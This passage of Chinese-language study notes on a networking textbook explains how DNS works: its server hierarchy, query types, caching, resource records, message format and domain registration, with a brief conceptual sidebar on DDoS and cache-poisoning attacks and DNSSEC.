这种情况要求Bob的电子邮件服务器具有HTTP接口和SMTP接口(与Alice的邮件服务器通信). 另一种方法是使用由RFC 3501定义的因特网邮件访问协议(Internet Mail Access Protocol,IMAP),这通常用于微软的Outlook等. HTTP和TMAP方法都支持Bob管理自己邮件服务器中的文件夹,包括将邮件移动到他创建的文件夹中,删除邮件,将邮件标记为重要邮件等. </p><h3 id="dns因特网的目录服务"><a href="#DNS：因特网的目录服务" class="headerlink" title="DNS：因特网的目录服务"></a>DNS：因特网的目录服务</h3><p>&emsp;&emsp;因特网上的主机和人类一样,可以使用多种方式进行标识. 主机的一种标识方法是用<font color="#ff9f9f"><strong>主机名(hostname)</strong></font>,如<a href="http://www.facebook.com、www.google.com、gaia.cs.umass.edu等,这些名字便于记忆也乐于被人们接受/">www.facebook.com、www.google.com、gaia.cs.umass.edu等,这些名字便于记忆也乐于被人们接受</a>. 然而,主机名几乎没有提供(即使有也很少)关于主机在因特网中位置的信息. (一个名为<a href="http://www.eurecom.fr的主机以国家码.fr结束,告诉我们该主机很可能在法国,仅此而已/">www.eurecom.fr的主机以国家码.fr结束,告诉我们该主机很可能在法国,仅此而已</a>. )况且,主机名可能由不定长的字母数字组成,路由器难以处理. 为此,主机也可以使用所谓的<font color="#ff9f9f"><strong>IP地址(IP address)</strong></font>进行标识. </p><p>&emsp;&emsp;我们将在第4章更为详细地讨论下地址,但现在简略地介绍一下还是有必要的. 一个IP地址(这里仅指IPv4)由4个字节组成,并有着严格的层次结构. 例如121.7.106.83这样一个IP地址,其中的每个字节都被句点分隔开来,表示了0~255的十进制数字. 我们说IP地址具有层次结构,是因为当我们从左至右扫描它时,会得到越来越具体的关于主机位于因特网何处的信息(即在众多网络的哪个网络里). 类似地,当我们从下向上查看邮政地址时,能够获得该地址位于何处的越来越具体的信息. </p><h4 id="dns提供的服务"><a href="#DNS提供的服务" class="headerlink" title="DNS提供的服务"></a>DNS提供的服务</h4><p>&emsp;&emsp;我们刚刚看到了识别主机有两种方式一一主机名和IP地址. 人们喜欢便于记忆的主机名标识方式,而路由器则喜欢定长的、有着层次结构的IP地址. 为了对这些不同的偏好进行折中,我们需要一种能进行主机名到IP地址转换的目录服务. 这就是<font color="#ff9f9f"><strong>域名系统(Domain Name System,DNS)</strong></font>的主要任务. DNS是:</p><ul><li>一个由分层的<font color="#ff9f9f"><strong>DNS服务器(DNS server)</strong></font>实现的分布式数据库. </li><li>一个使得主机能够查询分布式数据库的应用层协议.</li></ul><p>&emsp;&emsp;DNS服务器通常是运行了<font color="#ff9f9f"><strong>BIND(Berkeley Internet Name Domain)</strong></font>软件[BIND 2020]的UNIX机器. DNS协议运行在UDP之上,使用53号端口. </p><blockquote><p><strong>什么是BIND？</strong></p><p>&emsp;&emsp;BIND是一款实现DNS服务器的开放源码软件,够提供双向解析，转发，子域授权，view等功能,是世界上使用最为广泛的DNS服务器软件，目前Internet上半数以上的DNS服务器有都是用Bind来架设的. </p></blockquote><blockquote><p><strong>DNS:通过客户-服务器模式提供的重要网络功能</strong></p><p>与HTTP，FTP和SMP一样，DNS协议是应用层协议，其原因在于：</p><ul><li>使用客户-服务器模式运行在通信的端系统之间</li><li>在通信的端系统之间通过下面(指下层)的端到端协议来传送DNS报文.</li></ul><p>然而，在其他意义上，DNS的作用非常不同于Web应用、文件传输应用以及电子邮件应用. 与这些应用程序的不同之处在于，DNS不是一个直接和用户打交道的应用，而是为因特网上的用户应用程序以及其他软件提供一种核心功能，即将主机名转换为其背后的IP地址. 我们在1.2节就提到，因特网体系结构的复杂性大多数位于网络的“边缘”. DNS通过采用位于网络边缘的客户和服务器，实现了关键的名字到数字的转化功能，他还是这种设计模式的另一个范例. </p></blockquote><p>&emsp;&emsp;DNS通常是由其他应用层协议所使用的,包括HTTP和SMTP,将用户提供的主机名解析为下地址. 举一个例子,考虑运行在某用户主机上的一个浏览器(即一个HTTP客户)请求URL<code>www.someschool.edu/index.html</code>页面时会发生什么现象. 为了使用户的主机能够将一个HTTP请求报文发送到Web服务器<code>www.someschool.edu</code>,该用户主机必须获得<code>www.someschool.edu</code>的IP地址. 其做法如下:</p><ul><li>同一台用户主机上运行着DNS应用的客户端</li><li>浏览器从上述URL中抽取出主机名<code>www.someschool.edu</code>,并将主机名传给DNS应用的客户端. </li><li>DNS客户向DNS服务器发送一个包含主机名的请求. </li><li>DNS客户最终会收到一份回答报文,其中含有对应于该主机名的IP地址. </li><li>一旦浏览器接收到来自DNS的该IP地址,它就向位于该了IP地址80端口的HTTP服务器进程发起一个TCP连接.</li></ul><p>&emsp;&emsp;从这个例子中,我们可以看到DNS给使用它的因特网应用带来了额外的时延,有时还相当可观. 幸运的是,如我们下面讨论的那样,想获得的卫IP址通常就缓存在一个“附近的”DNS服务器,这有助于减少DNS的网络流量和DNS的平均时延. </p><p>除了进行主机名到IP地址的转换外，DNS还提供了一些重要的服务：</p><ul><li><font color="#ff9f9f"><strong>主机别名(host aliasing)</strong></font>. 有着复杂主机名的主机能拥有一个或者多个别名. 例如,一台名为<code>relay1.west-coast.enterprise.com</code>的主机,可能还有两个别名<code>enterprise.com</code>和<code>www.enterprise.com</code>. 在这种情况下,relay1.west-coast,enterprise.com也称为<font color="#ff9f9f"><strong>规范主机名(canonical hostname)</strong></font>. 主机别名(当存在时)比主机规范名更加容易记忆. 应用程序可以调用DNS来获得主机别名对应的规范主机名以及主机的IP地址. </li><li><font color="#ff9f9f"><strong>邮件服务器别名(mail server aliasing)</strong></font>. 显而易见,人们也非常希望电子邮件地址好记忆. 例如,如果Bob在雅虎邮件上有一个账户,Bob的邮件地址就像<code>bob@yahoo.com</code>这样简单. 然而,雅虎邮件服务器的主机名可能更为复杂,不像<code>yahoo.com</code>那样简单好记(例如,规范主机名可能像<code>relay1.west-coast.hotmail.com</code>那样). 电子邮件应用程序可以调用DNS,对提供的主机别名进行解析,以获得该主机的规范主机名及其IP地址. . 事实上,MX记录(参见后面)允许一个公司的邮件服务器和Web服务器使用相同(别名)的主机名,例如,一个公司的Web服务器和邮件服务器都能叫作<code>enterprise.com</code>. </li><li><font color="#ff9f9f"><strong>负载分配(load distribution)</strong></font>. DNS也用于在冗余的服务器(如冗余的Web服务器等)之间进行负载分配. 繁忙的站点(如cnn.com)被冗余分布在多台服务器上(相同服务但是服务器不同),每台服务器均运行在不同的端系统上,每个都有着不同的IP地址. 由于这些冗余的Web服务器,一个IP地址集合与同一个规范主机名相联系. DNS数据库中存储着这些IP地址集合. 当客户对映射到某地址集合的名字发出一个DNS请求时,该服务器用IP地址的整个集合进行响应,但在每个回答中循环这些地址次序. 因为客户通常总是向IP地址排在最前面的服务器发送HTTP请求报文,所以DNS就在所有这些冗余的Web服务器之间循环分配了负载. DNS的循环同样可以用于邮件服务器,因此多个邮件服务器可以具有相同的别名. 一些内容分发公司也以更复杂的方式使用DNS，以提供Web内容分发(参见2.6.3节).</li></ul><p>&emsp;&emsp;DNS由RFC 1034和RFC 1035定义,并且在几个附加的RFC中进行了更新. DNS是一个复杂的系统,我们在这里只是就其运行的主要方面进行学习. 感兴趣的读者可以参考这些RFC文档以及Albitz和Liu的书 [Albitz 1993] ,亦可参阅文章 [Mockapetris 1998] 和 [Mockapetris 2005] ,其中 [Mockapetris 1998] 是回顾性的文章,它对DNS组成和工作原理进行了细致的讲解. </p><h4 id="dns工作机理概述"><a href="#DNS工作机理概述" class="headerlink" title="DNS工作机理概述"></a>DNS工作机理概述</h4><p>&emsp;&emsp;下面给出一个DNS工作过程的总体概述,我们的讨论将集中在主机名到IP地址转换服务方面. </p><p>&emsp;&emsp;假设运行在用户主机上的某些应用程序(如Web浏览器或邮件阅读器)需要将主机名转换为IP地址. 这些应用程序将调用DNS的客户端,并指明需要被转换的主机名(在很多基于UNIX的机器上,应用程序为了执行这种转换需要调用函数<code>gethostbyname()</code>). 用户主机上的DNS接到后,向网络中发送一个DNS查询报文. 所有的DNS请求和回答报文使用UDP数据报经端口53发送. 经过若干毫秒到若干秒的时延后,用户主机上的DNS接收到一个提供所希望映射的DNS回答报文. 这个映射结果则被传递到调用DNS的应用程序. 因此,从用户主机上调用应用程序的角度看,DNS是一个提供简单、直接的转换服务的黑盒子. 但事实上,实现这个服务的黑盒子非常复杂,它由分布于全球的大量DNS服务器以及定义了DNS服务器与查询主机通信方式的应用层协议组成. </p><p>&emsp;&emsp;DNS的一种简单设计是在因特网上只使用一个DNS服务器,该服务器包含所有的映射. 在这种集中式设计中,客户直接将所有查询直接发往单一的DNS服务器,同时该DNS服务器直接对所有的查询客户做出响应. 尽管这种设计的简单性非常具有吸引力,但它不适用于当今的因特网,因为因特网有着数量巨大(并持续增长)的主机. 这种集中式设计的问题包括：</p><ul><li><font color="#ff9f9f"><strong>单点故障〈single point of failure)</strong></font>:如果该DNS服务器崩溃,整个因特网随之瘫痪. </li><li><font color="#ff9f9f"><strong>通信容量(traffic volume)</strong></font>: . 单个DNS服务器不得不处理所有的DNS查询(用于为上亿台主机产生的所有HTTP请求报文和电子邮件报文服务). </li><li><font color="#ff9f9f"><strong>远距离的集中式数据库(distant centralized database)</strong></font>:单个DNS服务器不可能“邻近”所有查询客户. 如果我们将单台DNS服务器放在纽约市,那么所有来自澳大利亚的查询必须传播到地球的另一边,中间也许还要经过低速和拥塞的链路. 这将导致严重的时延. </li><li><font color="#ff9f9f"><strong>维护(maintenance)</strong></font>:单个DNS服务器将不得不为所有的因特网主机保留记录. 这不仅将使这个中央数据库无比庞大,而且它还不得不为解决每个新添加的主机而频繁更新.</li></ul><p>&emsp;&emsp;总的来说,在单一DNS服务器上运行集中式数据库完全没有可扩展能力. 因此,DNS采用了分布式的设计方案. 事实上,DNS是一个在因特网上实现分布式数据库的精彩范例. </p><p><strong>1.分布式，层次数据库</strong></p><p>&emsp;&emsp;为了处理扩展性问题,DNS使用了大量的DNS服务器,它们以层次方式组织并且分布在全世界范围内. 没有一台DNS服务器拥有因特网上所有主机的映射,这些映射分布在所有的DNS服务器上. 大致说来,有3种类型的DNS服务器:<font color="#ff9f9f"><strong>根DNS服务器</strong></font>、<font color="#ff9f9f"><strong>顶级域(Top-Level Domain,TLD)DNS服务器</strong></font>和<font color="#ff9f9f"><strong>权威DNS服务器</strong></font>. 这些服务器以图2-17中所示的层次结构组织起来. 为了理解这3种类型的DNS服务器交互的方式,假定一个DNS客户要确定主机名<code>www.amazon.com</code>的IP地址. 粗略说来,将发生下列事件. </p><ul><li>客户首先与根服务器之一联系,它将返回顶级域名com的TLD服务器的IP地址. </li><li>该客户与这些TLD服务器之一联系,它将为<code>amazon.com</code>返回权威服务器的IP地址. </li><li>最后,该客户与<code>amazon.com</code>权威服务器之一联系,它为主机名<code>www.amazon.com</code>返回IP地址. 我们将很快更为详细地考察DNS查找过程. 不过我们先仔细看一下这3种类型的DNS服务器.</li></ul><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/17.png"><ul><li><strong>根DNS服务器</strong>:有超过1000台根DNS服务器实体遍及全世界. 这些根服务器是13个不同根服务器的副本,由12个不同组织管理,并通过因特网号码分配机构来协调 [IANA 2020]. 根名字服务器的全部清单连同管理它们的组织及其下地址可以在 [Root Servers 2020] 中找到. 根服务器提供 TLD 服务的 IP地址. </li><li><strong>顶级域(TLD)DNS服务</strong>:对于每个顶级域(如com、org、net、edu和gov)和所有国家的顶级域(如uk、fr、cn和jp等),都有TLD服务器(或服务器集群). Verisign Global Registry Services公司维护com顶级域的TLD服务器,Educause公司维护edu项级域的TLD服务器. 支持TLD的网络基础设施可能是大而复杂的, [Osterweil 2012] 对Verisign网络进行了很好的概述. 所有项级域的列表参见[TLD list 2020]. TLD服务器提供了权威DNS服务器的IP地址. </li><li><strong>权威DNS服务器</strong>：在因特网上具有公共可访问主机(如Web服务器和邮件服务器)的每个组织机构必须提供公共可访问的DNS记录,这些记录将这些主机的名字上映射为IP地址. 一个组织机构的权威DNS服务器收藏了这些DNS记录. 一种方法是,一个组织机构可以选择实现自己的权威DNS服务器以保存这些记录;另一种方法是,该组织能够支付费用,让这些记录存储在某个服务提供商的一个权威DNS服务器中. 多数大学和大公司实现并维护它们自己的基本和辅助(备份)的权威DNS服务器.</li></ul><p>&emsp;&emsp;根、TLD和权威DNS服务器都处在该DNS服务器的层次结构中,如图2-17所示. 还有另一类重要的DNS服务器,称为<font color="#ff9f9f">本地DNS服务器(local DNS server)</font>. 严格说来,一个本地DNS服务器并不属于该服务器的层次结构,但它对DNS层次结构是至关重要的. 每个ISP(如一个居民区的ISP或一个机构的ISP)都有一台本地DNS服务器(也叫默认名字服务器). 当主机与某个ISP连接时,该ISP提供一台主机的卫地址,该主机具有一台或多台其本地DNS服务器的IP地址(通常通过DHCP,将在第4章中讨论). 通过访问Windows或UNIX的网络状态窗口,用户能够容易地确定自己的本地DNS服务器的IP地址.主机的本地DNS服务器通常“邻近”本主机. 对某机构ISP而言,本地DNS服务器可能就与主机在同一个局域网中;对于某居民区ISP来说,本地DNS服务器通常与主机相隔不超过几台路由器. 当主机发出DNS请求时,该请求被发往本地DNS服务器,它起着代理的作用,并将该请求转发到DNS服务器层次结构中,下面我们将更为详细地讨论. </p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/18.png"><p>&emsp;&emsp;我们来看一个简单的例子,假设主机<code>cse.nyu.edu</code>想知道主机<code>gaia.cs.umass.edu</code>的 IP地址. 同时假设纽约大学(NYU)的<code>cse.nyu.edu</code>主机的本地DNS服务器为<code>dns.nyu.edu</code>,并且<code>gaia.cs.umass.edu</code>的权威DNS服务器为<code>dns.umass.edu</code>. 如图2-18所示,主机<code>cse.nyu.edu</code>首先向它的本地DNS服务器<code>dns.nyu.edu</code>发送一个DNS查询报文. 该查询报文含有被转换的主机名<code>gaia.cs.umass.edu</code>. 本地DNS服务器将该报文转发到根DNS服务器. 该根DNS服务器注意到其edu后缀并向本地DNS服务器返回负责edu的TLD服务器的IP地址列表.该本地DNS服务器则再次向这些TLD服务器之一发送查询报文.该TLD服务器注意到<code>umass.edu</code>后缀,并用权威DNS服务器的IP地址进行响应,该权威DNS服务器是负责马萨诸塞大学的<code>dns.umass.edu</code>.最后,本地DNS服务器直接向<code>dns.umass.edu</code>重发查询报文,<code>dns.umass.edu</code>用<code>gaia.cs.umass.edu</code>的IP地址进行响应. 注意到在本例中,为了获得一台主机名的映射,共发送了8份DNS报文:4份查询报文和4份回答报文!我们将很快看到利用DNS缓存减少这种查询流量的方法. </p><p>&emsp;&emsp;前面的例子假设了TLD服务器知道用于主机的权威DNS服务器的IP地址. 一般而言,这种假设并不总是正确. 相反,TLD服务器只是知道中间的某个DNS服务器，该中间DNS服务器才可能能知道用于该主机的权威DNS服务器，若不知道,则接着查询下一个中间服务器. 例如,再次假设马萨诸塞大学有一台用于本大学的DNS服务器,称为<code>dns.umass.edu</code>. 同时假设该大学的每个系都有自己的DNS服务器,每个系的DNS服务器是本系所有主机的权威服务器. 在这种情况下,当中间DNS服务器<code>dns.umass.edu</code>收到了对某主机的请求时,该主机名是以<code>cs.umass.edu</code>结尾,它向<code>dns.nyu.edu</code>(前面提到的请求者的本地DNS服务器)返回<code>dns.cs.umass.edu</code>的IP地址,后者是所有以<code>cs.umass.edu</code>结尾的主机的权威服务器. 本地DNS服务<code>dns.nyu.edu</code>则向权威DNS服务器发送查询,该权威DNS服务器向本地DNS服务器返回所希望的映射,该本地服务次向请求主机返回该映射. 在这个例子中,共发送了10份DNS报文. 相当于在访问权威DNS服务器时可能存在中间DNS服务器的情况. </p><p>&emsp;&emsp;图2-18所示的例子利用了<font color="#ff9f9f"><strong>递归查询(recursive query)</strong></font>和<font color="#ff9f9f"><strong>迭代查询（iterative query)</strong></font>. 从<code>cse.nyu.edu</code>到<code>dns.nyu.edu</code>发出的查询是递归查询,因为该查询以自己的名义请求dns.nyu.edu来获得该映射. 而后继的3个查询是迭代查询,因为所有的回答都是直接返回给dns.nyu.edu. 从理论上讲,任何DNS查询既可以是迭代的也可以是递归的. 例如,图2-19显示了一条DNS查询链,其中的所有查询都是递归的. 实践中,查询通常遵循图2-18中的模式:从请求主机到本地DNS服务器的查询是递归的,其余的查询是迭代的. </p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/19.png"><p><strong>2.DNS缓存</strong></p><p>&emsp;&emsp;至此我们的讨论一直忽略了DNS系统的一个非常重要的特色：<font color="#ff9f9f"><strong>DNS缓存(DNS caching)</strong></font>. 实际上，为了改善时延性能并减少在因特网上到处传输DNS报文数量，DNS广泛使用了缓存技术. DNS缓存的原理非常简单. 在一个请求链中,当某DNS服务器接收一个DNS回答(例如,包含某主机名到IP地址的映射)时,它就能将映射缓存在本地存储器中. 例如,在图2-18中,每当DNS服务器dns.nyu.edu从某个DNS服务器接收到一个回答,他就能够缓存包含在该回答中的任何信息.如果在DNS服务器中缓存了一个主机名&#x2F;IP地址对,另一个对相同主机名的查询到达该DNS服务器时,该DNS服务器就能够提供所要求的IP地址,即使它不是该主机名的权威服务器. 由于主机和主机名与耻地址间的映射并不是永久的,DNS服务器在一段间后将丢弃缓存的信息. </p><h4 id="dns记录和报文"><a href="#DNS记录和报文" class="headerlink" title="DNS记录和报文"></a>DNS记录和报文</h4><p>&emsp;&emsp;共同实现DNS分布式数据库的所有DNS服务器存储了<font color="#ff9f9f"><strong>资源记录(Resource Record,RR)</strong></font>,RR提供了主机名到IP地址的映射(或者主机名到另一主机名的映射，后述). 每个DNS回答报文包含了一条或多条资源记录. 在本小节以及后续小节中,我们概要地介绍DNS资源记录和报文,更详细的信息可以在 [Albitz 1993] 或有关DNS的REFC文档 [RFC 1034,RFC 1035] 中找到. </p><p>资源记录是一个包含了下列字段的4元组：</p><pre><code>(Name, Value, Type, TTL)</code></pre><p>&emsp;&emsp;TTL(Time To Life)是该记录的生存时间，它决定了资源记录应当从缓存中删除的时间. 在下面给出的记录例子,我们忽略掉TTL字段. Name和Value的意义取决于Type:</p><ul><li><p>如果<code>Type=A</code>,则对该主机名而言Name是主机名,Value是该主机名对应的IP地址. 因此,<strong>一条类型为A的资源记录提供了标准的主机名到IP地址的映射</strong>. 例如<code>(relay1.bar.foo.com, 145.37.93.126, A)</code>就是一条类型A的记录. </p></li><li><p>如果<code>Type=NS</code>,则对该域中的主机而言Name是域(如foo.com),而Value是一个知道如何获得该域中主机IP地址的权威DNS服务器的主机名. 这个记录用于委托域名解析权，即将该域名移交给其他DNS服务器解析. 例如<code>(foo.com, dns.foo.com, NS)</code>就是一条类型为NS的记录. </p></li><li><p>如果<code>Type=CNAME</code>,则Value是主机别名Name对应的规范主机名. 该记录能够向查询的主机提供一个主机名对应的规范主机名,例如<code>(foo.com, relay1.bar.foo.com, CNAME)</code>就是一条CNAME类型的记录. </p><blockquote><p>实际上是把一个域名指向另一个域名. </p></blockquote></li><li><p>如果<code>Type=MX</code>,则Value是一个别名为Name的<em>邮件服务器</em>的规范主机名. 举例来说,<code>(foo.com, mail.bar.foo.com, MX)</code>就是一条MX记录. MX记录人允许邮件服务器主机名有具有简单的别名. 值得注意的是,通过使用MX记录,一个公司的邮件服务器和其他服务器(如它的Web服务器)可以使用相同的别名. 为了获得邮件服务器的规范主机名,DNS客户应当请求一条MX记录;而为了获得其他服务器的规范主机名,DNS客户应当请求CNAME记录.</p><blockquote><p>也就是说,在以邮件服务为目的检索foo.com时,会请求MX记录,再根据其邮件服务器的规范主机名来查询其IP;以其他服务为目的检索foo.com时,则会请求CNAME记录,得到规范主机名,再查询其IP地址.</p></blockquote></li></ul><p>&emsp;&emsp;如果一台DNS服务器是某特定主机名的权威DNS服务器,那么该DNS服务器会有一条包含用于该主机名的类型A记录(即使该DNS服务器不是其权威DNS服务器,它也可能在缓存中包含几条类型A记录). 如果服务器不是用于某主机名的权威服务器,那么该服务器将包含一条类型NS记录,该记录对应于包含主机名的域;它还将包含一条类型A记录,该记录提供了在NS记录的Value字段中的DNS服务器的IP地址.</p><p>&emsp;&emsp;举例来说,假设一台edu TLD服务器不是主机<code>gaia.cd.umass.edu</code>的权威DNS服务器,则该服务器将包含一条主机<code>gaia.cs.umass.edu</code>的域记录,如<code>(umass.edu, dns.umass.edu, NS)</code>;该edu TLD服务器还将包含一条类型A记录,如<code>(dns.umass.edu, 128.119.40.111, A)</code>, 该记录将名字<code>dns.umass.edu</code>映射为一个IP地址. </p><p><strong>1.DNS报文</strong></p><p>&emsp;&emsp;在本节前面,我们提到了DNS查询和回答报文. DNS只有这两种报文,并且查询和回答报文有着相同的格式,如图2-20所示. </p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/20.png"><p>DNS报文中的各个字段语义如下：</p><ul><li><p>前12字节是首部区域,其中有几个字段. </p><ul><li>第一个字段(标识符&#x2F;id)是一个16bit的数,用于标识该查询. 这个标识符会被复制到对查询的回答报文中,以便让客户用它来匹配发送的请求和接收到的回答. 标志字段中含有若干标志. </li><li>标志位有以下几种：<ul><li><code>“查询/回答(Response,QR)”</code>标志位指出报文是查询报文(0)还是回答报文(1). </li><li><code>操作码(Opcode)</code>中，0表示标准查询,1表示反向查询,2表示服务器状态请求. </li><li>当某DNS服务器是所请求名字的权威DNS服务器时,1bit的<code>“权威的(Authoritative,AA)”</code>标志位被置于回答报文中,以标志该响应服务器就是查询主机名的权威服务器. </li><li><code>TC(Truncated)</code>表示是否被截断. 值为1时，表示响应已超过512字节并已被截断，只返回前512个字节. </li><li>如果客户(主机或者DNS服务器)在该DNS服务器没有某记录时,它将执行递归查询,并设置1bit的<code>“希望递归(Recursion Desired, RD)”</code>标志位. </li><li>如果该DNS服务器支持递归查询,在它的回答报文中会设置1bit的<code>“递归可用(Recursion Available, RA)”</code>标志位. </li><li><code>Z</code>是保留字段，在所有的请求和应答报文中，它的值必须为0. </li><li><code>rcode(Reply code)</code>是返回码字段，表示响应的差错状态. 当值为0时，表示没有错误；当值为1时，表示报文格式错误，服务器不能理解请求的报文；当值为2时，表示域名服务器失败，因为服务器的原因导致没办法处理这个请求；当值为3时，表示名字错误，只有对授权域名解析服务器有意义，指出解析的域名不存在；当值为4时，表示查询类型不支持，即域名服务器不支持查询类型；当值为5时，表示拒绝，一般是服务器由于设置的策略拒绝给出应答，如服务器不希望对某些请求者给出应答.</li></ul></li></ul><p>  在该首部中还有4个有关数量的字段.这些字段指出了在首部后的4类数据区域出现的数量. </p></li><li><p><strong>问题区域</strong>:包含了正在进行的查询信息. 该区域包括:</p><ul><li>名字字段,包含正在被查询的主机名字;</li><li>类型字段,指出有关该名字的正被询问的问题类型</li></ul><p>  例如主机地址是与个名字相关联(类型A)还是与某个名字的邮件服务器相关联(类型MX).   </p></li><li><p><strong>回答区域</strong>：包含了对最初请求的Name的资源记录. 前面讲过每个资源记录中有Type(如A、NS、CNAME和MX)字段、Value字段和TTL字段. 在回答报文的回答区域中可以包含多条RR,因此一个主机名能够有多个IP地址(例如,就像本节前面讨论的冗余Web服务器). </p></li><li><p><strong>权威区域</strong>：包含了其他权威服务器的信息(注意是其他权威服务器的信息不是该权威服务器的其他信息). </p></li><li><p><strong>附加信息区域</strong>:包含了其他有帮助的记录. 例如,对于一个MX请求的回答报文的回答区域包含了一条资源记录,该记录提供了邮件服务器的规范主机名. 该附加信息包含一个类型A记录,该记录提供了用于该邮件服务器的规范主机名的IP地址.</p></li></ul><blockquote><p>DNS报文的详细解释，实例等可以查看<a href="https://c.biancheng.net/view/6457.html">DNS报文格式解析（非常详细）</a></p></blockquote><p>&emsp;&emsp;使用nslookup(nslookup program)可以从正在工作的主机直接向某些DNS服务器发送一个DNS查询. 对于多数Windows和UNIX平台,nslookup程序是可用的. 例如,从一台Windows主机打开命令提示符界面,直接键人nslookup即可调用nslookup程序. 在调用nslookup后,你能够向任何DNS服务器(根、TLD或权威)发送DNS查询. 在接收到来自DNS服务器的回答后,nslookup将显示包括在该回答中的记录(以人可读的格式). 从你自己的主机运行nslookup还有一种方法,即访问允许你远程应用nslookup的许多Web站点之一(在一个搜索引擎中键入nslookup就能够得到这些站点中的一个). 本章最后的DNS Wireshark实验将使你更为详细地研究DNS.</p><p><strong>2.在DNS数据库中插入记录</strong></p><p>&emsp;&emsp;上面的讨论只是关注如何从DNS数据库中取数据. 你可能想知道这些数据最初是怎么进入数据库中的. 我们在一个特定的例子中看看这是如何完成的. 假定你刚刚创建了一个称为网络乌托邦(Network Utopia)的令人兴奋的创业公司. 你必定要做的第一件事是在注册登记机构注册域名<code>networkutopia.com</code>. <font color="#ff9f9f"><strong>注册登记机构(registrar)</strong></font>是一个商业实体,它验证该域名的唯一性,将该域名输入DNS数据库(如下面所讨论的那样),对提供的服务收取少量费用. 1999年前,唯一的注册登记机构是Nework Solutions,它独家经营对于com、net和org域名的和注册. 但是现在有许多注册登记机构竞争客户,因特网名字和地址分配机构(Internet Corporation for Assigned Names and Numbers, ICANN)向各种注册登记机构授权. 在<code>http://www.internic.net</code>上可以找到授权的注册登记机构的完整列表. </p><p>&emsp;&emsp;当你向某些注册登记机构注册域名<code>networkutopia.com</code>时，需要向该机构提供你的基本、辅助权威DNS服务器的名字和IP地址. 假定该名字和IP地址是<code>dns1.networkutopia.com</code>和<code>dns2.networkutopia.com</code>及212.212.212.1和212.212.212.2. 对这两个权威DNS服务器的每一个,该注册登记机构确保将一个 类型NS 和一个 类型A 的记录输入TLD com服务器. 特别是对于用于<code>networkutopia.com</code>的基本权威服务器,该注册登记机构将下列两条资源记录插和人DNS系统中：</p><pre><code class="RR">(networkutopia.com, dns1.networkutopia.com, NS)(dns1.networkutoepia.com, 212.212.212.1, A)</code></pre><p>&emsp;&emsp;你还必须确保用于Web服务器<code>www.networkutopia.com</code>的类型A资源记录和用于邮件服务器<code>mail.networkutopia.com</code>的类型MX资源记录被输入你的权威DNS服务器中. [最近,DNS协议中添加了一个更新(UPDATE)选项,允许通过DNS报文对数据库中的内容进行动态添加或者删除. [RFC 2136]和[RFC 3007]定义了DNS动态更新. ]</p><p>&emsp;&emsp;一旦完成所有这些步骤,人们将能够访问你的Web站点,并向你公司的雇员发送电子邮件. 我们通过验证该说法的正确性来总结DNS的讨论. 这种验证也有助于充实我们已经学到的DNS知识. 假定在澳大利亚的Alice要观看<code>www.networkutopia.com</code>的Web页面. 如前面所讨论,她的主机将首先向其本地DNS服务器发送请求. 该本地服务器接着联系一个TLD com服务器. (如果TLD com服务器的地址没有被缓存,该本地DNS服务器也将必须与根DNS服务器相联系. )该TLD服务器包含前面列出的类型NS和类型A资源记录,因为注册登记机构将这些资源记录搬入所有的TLD com服务器. 该TLD com服务器向Alice的本地DNS服务器发送一个回答,该回答包含了这两条资源记录. 本地DNS服务需则加212.212.212.1发送一个DNS查询,请求对应于<code>www.networkutopia.com</code>的类型A记录. 该记录提供了所和希望的Web服务器的IP地址,如212.212.71.4,本地DNS服务器将该地址回传给Alice的主机. Alice的浏览器此时能够向主机212.212.71.4发起一个TCP连接,并在该连接上发送一个HTTP请求. </p><blockquote><p><strong>DNS脆弱性</strong></p><p>我们已经看到DNS是因特网基础设施的一个至关重要的组件,对于包括Web、电子邮件等的许多重要的服务,没有它都不能正常工作. 因此,我们自然要问:DNS会受到攻击吗?DNS是一个易受攻击的目标吗?它是将会被淘汰的服务吗?大多数因特网应用会随之一起无法工作吗?</p><p>第一种针对DNS服务的攻击是分布式拒绝服务(DDoS)带宽洪泛攻击. 倒如,某攻击者可能试图向每个DNS根服务器发送大量的分组,使得大多数合法DNS请求得不到回答. 这种对DNS根服务器的DDoS大规模攻击实际发生在2002年10月21日. 在这次攻击中,攻击者利用用一个僵尸网络向13个DNS根服务器中的每个都发送了大批的ICMP ping报文负载. (5.6节中讨论ICMP报文. 此时,知道ICMP分组是特殊类型的IP数据报就可以了.)幸运的是,这种大规模攻击所带来的损害很小,对用户的因特网体验几乎没有或根本没有影响. 攻击者的确成功地将大量的分组指向了根服务器,但许多DNS根服务器受到了分组过滤器的保护,配置的分组过滤器阻挡了所有指向根服务器的ICMP ping报文.这些被保护的服务器因此未受伤并且与平常一样发挥着作用. 此外,大多数本地DNS服务器缓存了顶级域名服务器的IP地址,使得这些请求过程通常为DNS根服务器分流.</p><p>对DNS的更为有效的潜在DDoS攻击将是向顶级域名服务器(例如向所有处理.com域的顶级域名服务器)发送大量的DNS请求. 过滤指向DNS服务器的DNS请求将更为困难,并且顶级域名服务器不像根服务器那样容易绕过. 这种对顶级域名服务提供商的攻击发生在2016年10月21日. 该DDoS攻击是通过发送大量的DNS查找请求进行的,这些请求来自一个由十万多个物联网设备组成的僵尸网络,这些设备包括被Miral恶意软件感染的打印机、网络相机、住宅网关和婴儿监视器等. 攻击几乎持续了一整天,亚马逊、推特、Netflix、GitHub和Spotify都受到了干扰. </p><p>DNS也可能潜在地以其他方式被攻击. 在中间人攻击中,攻击者截获来自主机的请求并返回伪造的回答. 在DNS投毒攻击中,攻击者向一台DNS服务器发送伪造的回答,诱使服务器在它的缓存中接收伪造的记录. 这些攻击中的任意一种都可能被用于不良用途,例如将没有疑心的Web用户重定向到攻击者的Web站点. DNS安全扩展套件(已经设计并部署了DNSSEC[Gieben 2004;RFC 4033])用于防范这些漏洞. 作为DNS的安全版本,DNSSEC处理了许多类似这样的攻击并在因特网上得到了普及. </p></blockquote><h3 id="p2p文件分发"><a href="#P2P文件分发" class="headerlink" title="P2P文件分发"></a>P2P文件分发</h3><p>&emsp;&emsp;到目前为止本章中描述的应用(包括Web、电子邮件和DNS)都采用了客户-服务器体系结构,极大地依赖于总是打开的基础设施服务器. 